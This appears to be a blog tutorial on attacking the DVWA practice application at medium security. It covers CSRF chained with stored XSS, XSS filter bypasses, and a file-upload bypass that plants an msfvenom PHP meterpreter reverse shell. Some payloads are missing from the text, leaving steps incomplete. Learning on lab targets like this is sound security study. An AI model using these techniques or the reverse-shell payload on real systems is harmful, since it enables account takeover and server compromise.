Web Hacking 2

Cyber Security Simplified

CSRF on medium security

Cross site request forgery is an attack that forces an end user to execute unwanted actions on a web applications in which they are currently authenticated. CSRF attack specifically target state changing request not the theft of data since the attacker has no way to see the response to the forged request. With a little help of social engineering such as sending a link via email or chat. If a victim is a normal user a successful CSRF attack can force the user to perform some request like transferring funds, changing their email address and so forth.

Exploiting it on DVWA

Login to DVWA and then set the security to medium and navigate to CSRF tab, you can see that it is asking for new password and confirm that new password.

If you look at the source code of this page you will see that it is verifying the referrer header to check whether this request is coming from the website itself or not.

Now, if we send a link to user to exploit this the exploitation will not happen and it will show you an error like this.

Now, to exploit this we have to chain two vulnerabilities together. So, the two vulnerabilities are one is XSS and the other is CSRF itself. So, I am assuming that the web application is vulnerable to XSS

Now, set the security to low and then go to stored XSS tab we will store our payload here and as soon as user visits this tab and clicks on the link, his password will be changed.

So, first of all we have to remove the client side limit of the message tab, click in the message tab and then right click and click on inspect element. Now, change the maxlength attribute and then paste this code in this tab.

<a href =>Click here</a>

And click on sign guestbook. Now, it will generate a comment like this

And then, whenever a user clicks on this link his password will be changed automatically now, since the request is coming from the same referrer header it will not produce any errors.

You can also automate this process like without user interaction we can change their password by emending a Java Script In this tab

<script>window.location=’ </script>

Now, whenever a user opens the XSS (stored) tab he will be automatically redirected to this url and his password will be changed automatically.

Stored and reflected XSS on medium security

Stored XSS: Stored cross site scripting is the most dangerous type of cross site scripting. Web applications that allows users to store data are potentially exposed to this type of attack. Stored XSS occurs when a web applications gather input from a user which might be malicious and then stores that input in database for later use. The input that is stored is not correctly filtered. As a consequences, the malicious data will appear to be a part of website and run with in the user browser under privileges of the web application since this vulnerability typically involves atleast two request to the application this may also called second order XSS.

  Reflected XSS: Reflected cross site scripting occurs when an attacker injects browser executable code with in a HTTP response. The injected attack is not stored within the application itself it is non persistent and only impacts users who open a maliciously crafted link or third party webpage. The attack string is included as part of the crafted URI or HTTP parameter improperly processed by the application and return to the victim.

Exploiting Reflected XSS upon DVWA

Login to DVWA and then set the security to medium and go to reflected XSS tab, you will see a page like this

Lets look at the source code of this page, you will see that it is replacing the script tag with whitespaces, so if we put a script tag in the field it will be replaced by white spaces

So, as you can clearly look that it is only filtering <script> tag as we know that the HTML is not case sensitive then we can use script as with some caps letters. So to bypass this protection we will use this payload.


Now, the filtration or replace tag will not detected and  XSS will be executed successfully

Exploiting stored XSS on DVWA

So, we will now exploit XSS on medium security. Now, go to stored XSS tab and you will see a page like this

It is asking for name and message and if we look at the source code you will see that it is replacing the script tag with white spaces again. So, to exploit it we will again use the previous method which we use in reflected XSS

But if you look closely at the source code you will see that the message field is using strip_tag and then adding slashes to it. So, we will exploit it in the name field.

So, to exploit this we will use the same payload again. But, first click on name filed open inspect element and then modify the max length to 100 characters and enter this payload.


As soon as you enter this payload in the name field and same in the message field you will see a popup ad XSS is exploited.

File Upload on Medium Security

Unrestricted file upload

Uploaded files represent a significant risk to the applications. The first step in many attack is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, complete system takeover, and overloaded file system or database, forwarding attacks to backend systems client side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.

The impact of this vulnerability is high, supposed code can be executed in the server context or on the client side.

Exploiting it on DVWA on medium security

So, to exploit this you have to create a payload then you have to upload it.

To create a payload we will use msfvenom so, we will use this command to create a payload.

msfvenom -p php/meterpreter/reverse_tcp lport = 7777 lhost=  -f raw

Then it will generate a php code for you, copy that code and paste it in leafpad and save it as shell.php 

Now, login to DVWA set the security to medium and then go to file upload tab, try to upload your shell.php file there. As soon as you click on upload it will show you an error.

Now, we will look at the source code to find out which type of protection it is using to detect whether a uploaded file is not a image file.

So, on looking on the source code you can say that It is verifying the content type header like if the content type header is image/jpeg or image/png then image 1will be uploaded successfully otherwise it will throw an error.

Now, we will do the bypass to upload a php shell on it.

First of all configure burp suite to listen all the traffic coming from the browser.

Turn the intercept on in the burp

 Then upload the shell again you can see that the request in the intercept tab of burp shows the content type header as application/x-php now,

We will modify this to image /jpeg and forward the request and then you can see that the upload is successful. And you will see the full path of the uploaded file

Translate »